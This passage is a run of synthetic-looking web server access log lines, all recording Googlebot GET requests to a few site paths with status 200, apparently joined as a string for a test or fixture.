"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:17 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:17 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:17 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:17 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:18 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:18 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:18 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:18 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:18 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:18 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:18 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:18 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:19 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:19 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:19 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:19 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:19 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:19 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:20 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:20 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:20 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:20 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:20 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:20 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:20 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:20 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:21 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:21 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:21 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:21 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:21 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:21 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:21 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:21 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:22 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:22 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:22 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:22 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:22 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:22 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:23 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:23 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:23 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:23 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:23 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:23 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:23 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:23 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:24 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:24 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:24 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:24 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:24 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:24 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:25 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:25 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:25 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:25 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:25 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:25 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:26 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:26 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:26 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:26 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:26 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:26 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:27 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:27 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:27 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:27 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:27 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:27 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:28 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:28 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:28 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:28 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:28 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:28 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:29 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:29 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:29 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:29 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:29 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:29 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:30 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:30 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:30 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:30 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:30 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:30 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:30 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:30 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:31 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:31 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:31 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:31 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:31 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:31 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:31 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:31 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:32 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:32 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:32 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:32 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:32 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:32 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:33 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:33 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:33 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:33 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:33 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:33 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:33 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:33 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:34 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:34 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:34 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:34 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:34 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:34 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:35 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:35 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:35 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:35 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:35 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:35 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:35 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:35 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:36 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:36 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:36 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:36 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:36 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:36 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:37 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:37 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:37 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:37 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:37 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:37 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:38 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:38 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:38 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:38 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:38 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:38 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:39 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:39 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:39 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:39 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:39 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:39 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:40 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:40 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:40 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:40 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:40 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:40 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:40 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:40 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:40 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:40 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:41 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:41 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:41 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:41 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:41 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:41 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:41 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:41 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:42 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:42 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:42 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:42 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:42 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:42 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:42 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:42 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:42 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:42 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:43 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:43 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:43 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:43 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:43 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:43 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:43 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:43 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:44 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:44 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:44 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:44 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:44 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:44 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:44 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:44 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:45 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:45 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:45 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:45 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:45 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:45 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:45 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:45 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:46 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:46 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:46 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:46 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:46 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:46 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:46 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:46 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:47 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:47 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:47 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:47 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:47 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:47 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:48 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:48 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:48 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:48 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:48 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:48 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:48 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:49 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:49 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:49 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:49 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:49 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:49 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:50 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:50 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:50 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:50 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:50 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:50 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:50 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:50 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:51 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:51 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:51 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:51 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:51 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:51 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:51 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:51 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:52 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:52 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:52 